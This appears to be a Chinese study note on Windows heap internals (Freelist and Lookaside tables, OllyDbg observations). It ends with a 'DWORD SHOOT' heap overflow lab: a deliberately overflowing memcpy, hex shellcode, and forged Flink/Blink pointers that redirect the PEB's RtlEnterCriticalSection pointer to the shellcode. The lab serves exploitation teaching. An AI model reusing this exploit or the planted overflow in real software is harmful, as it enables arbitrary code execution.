5.1堆的工作原理
- 堆块:出于性能的考虑,堆区的内存按不同大小组织成块,以堆块为单位进行标识,而不是传统的按字节标识。一个堆块包括两个部分:块首和块身。
- 块首:是一个堆块头部的几个字节,用来标识这个堆块自身的信息,例如,本块的大小、本块空闲还是占用等信息;
- 块身:是紧跟在块首后面的部分,也是最终分配给用户使用的数据区。
- 堆表:堆表一般位于堆区的起始位置,用于索引堆区中所有堆块的重要信息,包括堆块的位置、堆块的大小、空闲还是占用等。
- 堆的内存组织如下图所示:
- 在 Windows 中,占用态的堆块被使用它的程序索引,而堆表只索引所有空闲态的堆块。
- 最重要的堆表有两种:
- 空闲双向链表 Freelist(简称空表)如下图所示,空闲堆区的大小计算方式:空闲堆块的大小=索引项(ID)×8(字节)。
- 快速单向链表 Lookaside(简称快表),是 Windows 用来加速堆块分配而采用的一种堆表。如下图所示,这里之所以把它叫做“快表”是因为这类单向链表中从来不会发生堆块合并(其中的空闲块块首被设置为占用态,用来防止堆块合并)。
5.2使用OllyDbg查看堆分配
调试的代码如下:
#include <windows.h>
main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
//HANDLE HeapCreate(DWORD flOptions, DWORD dwInitialSize, DWORD dwMaximumSize);
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
//LPVOID HeapAlloc(HANDLE hHeap, DWORD dwFlags, DWORD dwBytes);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5);
HeapFree(hp,0,h4);
return 0;
}
通常情况下,进程中会同时存在若干个堆区:
- 进程堆:开始于 0x00130000 的大小为 0x4000的进程堆,可以通过 GetProcessHeap()函数获得这个堆的句柄并使用。
- 内存分配函数 malloc()的堆:这是一个紧接着 PE 镜像处 0x00430000 的大小为 0x8000 字节的堆。
- 实验中HeapCreate ()所创建的堆:从0x00520000开始,大小为0x1000的堆。
- 使用HeapCreate()函数创建一个新的堆区(一个堆区包含堆表和堆块)。
- 堆表中包含的信息依次是:段表索引(Segment List)、虚表索引(Virtual Allocation list)、空表使用标识(freelist usage bitmap)和空表索引区。
- 创建了一个新的堆区后,新堆区的状况是:
- 只有一个空闲态的大块,这个块被称做“尾块”。
- 尾块位于堆偏移 0x0688 处(启用快表后这个位置将是快表),这里算上堆基址就是0x00520688。
- Freelist[0]指向“尾块”。
- 偏移为0x178处为空表索引(Freelist)。
- 除零号空表索引外,其余各项索引都指向自己,这意味着其余所有的空闲链表中都没有空闲块。
- 堆块的分为占用态堆块和空闲态堆块,它们的数据结构如下图所示:
- 使用HeapAlloc()函数分配到的堆块在内存中如下所示,堆块的单位是8字节(也就是说当堆块块首中的Self Size字段的值 x 8就是分配堆块的大小,且堆块的大小包括了块首在内),当分配的数据不足8字节时按8字节分配(例如变量h1请求分配3字节的堆块,又由于块首占8字节,且不足8字节按8字节分配,所以h1分配的堆块大小就是16字节,也就是2个堆单位):
- 堆的释放和合并的观察,整体思路是:首先释放h1,h3,h5观察freelist空闲链表的链入情况,然后再释放h4观察堆块合并(h3,h4,h5三个相邻的堆块进行合并)后freelist空闲链表的链入情况。
- 释放h1,h3,h5后,由于h1和h3的堆块大小为16个字节,所以h1和h3应该被链入freelist[2]的空表,h5的堆大小为32字节应该被链入freelist[4],freelist空表的连接规则如下图:
- 链入时,从大地址的堆块开始链入,链入的地址是堆块的数据部分的地址而不是堆首的地址。
- 被释放后,h1,h3和h5的堆如下所示:
- 堆的合并:当再次释放h4时,h3,h4,h5这3个空闲块彼此相邻,所以h3,h4,h5这三个块会进行合并,合并后的块大小为64字节,也就是8个堆单位(1个堆单位 = 8字节),所以合并后的块链入freelist[8]。
- 释放h4之前空闲链表的情况是:freelist[0]链入尾块,freelist[2]链入了h1和h3,freelist[4]链入了h5;释放h4之后的空闲链表的情况是:freelist[0]链入尾块,freelist[2]链入h1,freelist[8]链入h3,h4,h5合并后的堆块。合并后的空闲链表如下图所示:
快表的使用,实验程序代码如下:
#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp,0,h1);
HeapFree(hp,0,h2);
HeapFree(hp,0,h3);
HeapFree(hp,0,h4);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
}
启用快表Lookaside后的堆区初始化的结构为:和堆区起始地址偏移0x178处为空表索引Freelist,与堆区起始地址偏移为0x688处为快表Lookaside:
- 分配后h1,h2,h3,h4四个块以后:
- 释放h1,h2,h3,h4四个块以后,由于启用了快表,所以空表索引freelist只改变尾块指向的位置(freelist[0]),其他的项全部指向自己,Lookaside[1]中链入h1和h2,链入的顺序是Lookaside[1]->h2->h1,Lookaside[2]中链入h3(Lookaside[2]->h3),Lookaside[3]中链入h4(Lookaside[3]->h4)。Lookaside快表链入的规则是按照堆块的数据部分的大小,而不是整个堆块的大小(空表Freelist是按照整个堆块的大小进行链入的)。
- Lookaside快表链入的是堆块的数据部分,而不是堆块的块头。
- 再次使用HeapAlloc()函数分配3个堆单位的堆块(堆块的数据部分大小为2个堆单位),所以将Lookaside[2]快表指向的空闲块分配给h2。
- 再次释放掉h2堆块,Lookaside[2]又重新链入被释放的16字节空间:
5.3堆溢出的利用(上)—DWORD SHOOT
存在堆溢出漏洞的程序源代码:
#include <windows.h>
main()
{
HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
_asm int 3 //used to break the process
//free the odd blocks to prevent coalesing
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); //now freelist[2] got 3 entries
//will allocate from freelist[2] which means unlink the last entry (h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
DWORD SHOOT的原理就是利用分配堆块,对空闲链表(Freelist链表)进行拆卸时,被拆卸节点所对应的堆块中flink和blink的值会被用来修改空闲链表(Freelist链表)的值。
实验代码:
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x4C\xAA\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f";
//0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
实验的原理:
- h1 向堆中申请了 200 字节的空间。
- memcpy 的上限错误地写成了 0x200,这实际上是 512 字节,所以会产生溢出。
- h1 分配完之后,后边紧接着的是一个大空闲块(尾块)。
- 超过 200 字节的数据将覆盖尾块的块首。
- 用伪造的指针覆盖尾块块首中的空表指针,当 h2 分配时,将导致 DWORD SHOOT。
- DWORD SHOOT 的目标是 0x7FFDF020 处的 RtlEnterCriticalSection()函数指针,可以简单地将其直接修改为 shellcode 的位置。
- DWORD SHOOT 完毕后,堆溢出导致异常,最终将调用 ExitProcess()结束进程。
- ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从 P.E.B 中拿出了指向 shellcode 的指针,因此shellcode 被执行。
- 执行程序之后,让OllyDbg接管调试,首先在内存中查看h1分配的堆块和尾块的情况:
- 执行了memcpy函数之后,h1堆块的内容和尾块的内容如下图所示,可以看到通过memcpy函数,将我们的shellcode填充在了h1堆块中,然后将尾块的Flink和Blink的值进行了修改(修改的含义是将0x00520688写到0x7F7DF020指向的内存空间,这里的0x00520688也就是我们shellcode所在的位置,当进程调用ExitProcess()函数后,我们的shellcode就会被执行):